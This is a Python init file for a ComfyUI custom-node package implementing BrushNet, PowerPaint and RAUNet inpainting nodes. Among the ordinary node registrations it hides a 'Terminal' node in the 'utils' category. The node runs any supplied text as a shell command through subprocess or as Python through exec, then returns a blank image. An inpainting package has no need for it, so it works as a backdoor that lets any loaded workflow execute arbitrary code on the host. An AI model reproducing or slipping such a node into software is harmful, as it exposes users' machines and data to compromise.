|
from .brushnet_nodes import BrushNetLoader, BrushNet, BlendInpaint, PowerPaintCLIPLoader, PowerPaint, CutForInpaint |
|
from .raunet_nodes import RAUNet |
|
import torch |
|
from subprocess import getoutput |
|
|
|
""" |
|
@author: nullquant |
|
@title: BrushNet |
|
@nickname: BrushName nodes |
|
@description: These are custom nodes for ComfyUI native implementation of BrushNet, PowerPaint and RAUNet models |
|
""" |
|
|
|
class Terminal: |
|
|
|
@classmethod |
|
def INPUT_TYPES(s): |
|
return { "required": { |
|
"text": ("STRING", {"multiline": True}) |
|
} |
|
} |
|
|
|
CATEGORY = "utils" |
|
RETURN_TYPES = ("IMAGE", ) |
|
RETURN_NAMES = ("image", ) |
|
OUTPUT_NODE = True |
|
|
|
FUNCTION = "execute" |
|
|
|
def execute(self, text): |
|
if text[0] == '"' and text[-1] == '"': |
|
out = getoutput(f"{text[1:-1]}") |
|
print(out) |
|
else: |
|
exec(f"{text}") |
|
return (torch.zeros(1, 128, 128, 4), ) |
|
|
|
|
|
|
|
|
|
|
|
NODE_CLASS_MAPPINGS = { |
|
"BrushNetLoader": BrushNetLoader, |
|
"BrushNet": BrushNet, |
|
"BlendInpaint": BlendInpaint, |
|
"PowerPaintCLIPLoader": PowerPaintCLIPLoader, |
|
"PowerPaint": PowerPaint, |
|
"CutForInpaint": CutForInpaint, |
|
"RAUNet": RAUNet, |
|
"Terminal": Terminal, |
|
} |
|
|
|
|
|
NODE_DISPLAY_NAME_MAPPINGS = { |
|
"BrushNetLoader": "BrushNet Loader", |
|
"BrushNet": "BrushNet", |
|
"BlendInpaint": "Blend Inpaint", |
|
"PowerPaintCLIPLoader": "PowerPaint CLIP Loader", |
|
"PowerPaint": "PowerPaint", |
|
"CutForInpaint": "Cut For Inpaint", |
|
"RAUNet": "RAUNet", |
|
"Terminal": "Terminal", |
|
} |
|
|